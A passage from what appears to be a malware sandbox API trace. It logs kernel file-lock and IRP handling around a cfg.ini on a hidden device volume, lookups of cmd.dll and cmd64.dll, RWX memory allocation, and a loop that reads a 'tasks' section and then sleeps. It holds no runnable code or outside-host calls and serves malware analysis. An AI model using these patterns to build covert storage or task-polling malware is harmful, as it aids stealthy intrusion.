Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.248] IdePortDispatch () returned 0x103 [0118.249] KeWaitForMutexObject () returned 0x0 [0118.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.249] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.249] IdePortDispatch () returned 0x103 [0118.249] KeWaitForMutexObject () returned 0x0 [0118.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.249] KeLeaveCriticalRegion () [0118.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.250] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.250] KeEnterCriticalRegion () [0118.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] KeLeaveCriticalRegion () [0118.250] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.250] KeEnterCriticalRegion () [0118.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.250] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] KeLeaveCriticalRegion () [0118.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.250] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.250] KeEnterCriticalRegion () [0118.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] ExFreePoolWithTag (P=0xfffffa8003ad2bf0, Tag=0x0) [0118.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.250] KeLeaveCriticalRegion () [0118.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.250] ReleaseMutex (hMutex=0xf0) returned 1 [0118.250] Sleep (dwMilliseconds=0x927c0) [0118.267] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.267] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.267] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.267] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.267] KeEnterCriticalRegion () [0118.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.268] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.268] IdePortDispatch () returned 0x103 [0118.268] KeWaitForMutexObject () returned 0x0 [0118.268] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.268] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.268] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.268] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.268] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.268] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.268] KeLeaveCriticalRegion () [0118.268] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.268] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.268] KeEnterCriticalRegion () [0118.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.268] KeLeaveCriticalRegion () [0118.268] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.268] KeEnterCriticalRegion () [0118.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.268] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.268] IdePortDispatch () returned 0x103 [0118.268] KeWaitForMutexObject () returned 0x0 [0118.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.269] KeLeaveCriticalRegion () [0118.269] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.269] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.269] KeEnterCriticalRegion () [0118.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca7000 [0118.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.269] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.269] IdePortDispatch () returned 0x103 [0118.269] KeWaitForMutexObject () returned 0x0 [0118.269] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.269] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.269] IdePortDispatch () returned 0x103 [0118.269] KeWaitForMutexObject () returned 0x0 [0118.269] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.269] KeLeaveCriticalRegion () [0118.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.270] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.270] KeEnterCriticalRegion () [0118.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] KeLeaveCriticalRegion () [0118.270] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.270] KeEnterCriticalRegion () [0118.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.270] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] KeLeaveCriticalRegion () [0118.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.270] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.270] KeEnterCriticalRegion () [0118.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.270] KeLeaveCriticalRegion () [0118.270] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.271] ReleaseMutex (hMutex=0xf0) returned 1 [0118.271] Sleep (dwMilliseconds=0x927c0) [0118.286] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.286] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.286] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.286] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.286] KeEnterCriticalRegion () [0118.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.286] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.286] IdePortDispatch () returned 0x103 [0118.286] KeWaitForMutexObject () returned 0x0 [0118.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.286] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.286] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.286] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.286] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.286] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.286] KeLeaveCriticalRegion () [0118.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.286] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.286] KeEnterCriticalRegion () [0118.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.287] KeLeaveCriticalRegion () [0118.287] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.287] KeEnterCriticalRegion () [0118.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.287] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.287] IdePortDispatch () returned 0x103 [0118.287] KeWaitForMutexObject () returned 0x0 [0118.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.287] KeLeaveCriticalRegion () [0118.287] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.287] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.287] KeEnterCriticalRegion () [0118.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cac000 [0118.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.287] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.287] IdePortDispatch () returned 0x103 [0118.287] KeWaitForMutexObject () returned 0x0 [0118.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.288] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.288] IdePortDispatch () returned 0x103 [0118.288] KeWaitForMutexObject () returned 0x0 [0118.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.288] KeLeaveCriticalRegion () [0118.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.288] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.288] KeEnterCriticalRegion () [0118.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.288] KeLeaveCriticalRegion () [0118.289] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.289] KeEnterCriticalRegion () [0118.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.289] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.289] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.289] KeLeaveCriticalRegion () [0118.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.289] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.289] KeEnterCriticalRegion () [0118.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.289] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.289] KeLeaveCriticalRegion () [0118.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.289] ReleaseMutex (hMutex=0xf0) returned 1 [0118.289] Sleep (dwMilliseconds=0x927c0) [0118.304] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.304] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.304] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.304] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.304] KeEnterCriticalRegion () [0118.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.304] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.304] IdePortDispatch () returned 0x103 [0118.304] KeWaitForMutexObject () returned 0x0 [0118.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.304] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.304] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] KeLeaveCriticalRegion () [0118.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.305] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.305] KeEnterCriticalRegion () [0118.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] KeLeaveCriticalRegion () [0118.305] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.305] KeEnterCriticalRegion () [0118.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.305] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.305] IdePortDispatch () returned 0x103 [0118.305] KeWaitForMutexObject () returned 0x0 [0118.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] KeLeaveCriticalRegion () [0118.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.305] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.305] KeEnterCriticalRegion () [0118.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.305] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb1000 [0118.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.305] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.305] IdePortDispatch () returned 0x103 [0118.306] KeWaitForMutexObject () returned 0x0 [0118.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.306] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.306] IdePortDispatch () returned 0x103 [0118.306] KeWaitForMutexObject () returned 0x0 [0118.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.306] KeLeaveCriticalRegion () [0118.306] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.306] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.306] KeEnterCriticalRegion () [0118.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] KeLeaveCriticalRegion () [0118.307] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.307] KeEnterCriticalRegion () [0118.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.307] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.307] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e 